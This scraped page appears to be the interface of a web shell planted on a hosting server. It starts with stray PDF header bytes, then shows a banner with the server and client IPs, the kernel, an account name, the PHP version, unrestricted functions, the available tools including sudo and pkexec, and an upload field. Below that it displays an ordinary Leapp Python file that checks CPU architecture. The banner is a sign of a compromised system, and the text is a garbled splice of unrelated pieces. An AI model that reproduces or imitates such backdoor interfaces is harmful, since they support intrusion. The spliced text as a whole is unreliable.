%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 188.40.95.74 / Your IP : 216.73.216.142 Web Server : Apache System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64 User : vlasotin ( 1054) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/leapp-repository/repositories/system_upgrade/common/libraries/config/ |
Upload File : |
import six from leapp.libraries.stdlib import api ARCH_X86_64 = 'x86_64' ARCH_ARM64 = 'aarch64' ARCH_PPC64LE = 'ppc64le' ARCH_S390X = 's390x' ARCH_ACCEPTED = (ARCH_X86_64, ARCH_ARM64, ARCH_PPC64LE, ARCH_S390X) ARCH_SUPPORTED = (ARCH_X86_64, ARCH_ARM64, ARCH_PPC64LE, ARCH_S390X) def matches_architecture(*match_list): """ Check if one of provided architectures matches the system's one. :param match_list: specification of architectures to check against :type match_list: strings :return: ``True`` if system's architecture matches one of the values in match_list, ``False`` otherwise :rtype: bool """ if not all(isinstance(e, six.string_types) for e in match_list): raise TypeError("Architectures to check against have to strings " "but provided was {}: '{}'".format([type(e) for e in match_list], match_list)) unsupported = set(match_list).difference(ARCH_ACCEPTED) if unsupported: api.current_logger().warning("Unsupported architecture specified: {}".format(unsupported)) return api.current_actor().configuration.architecture in match_list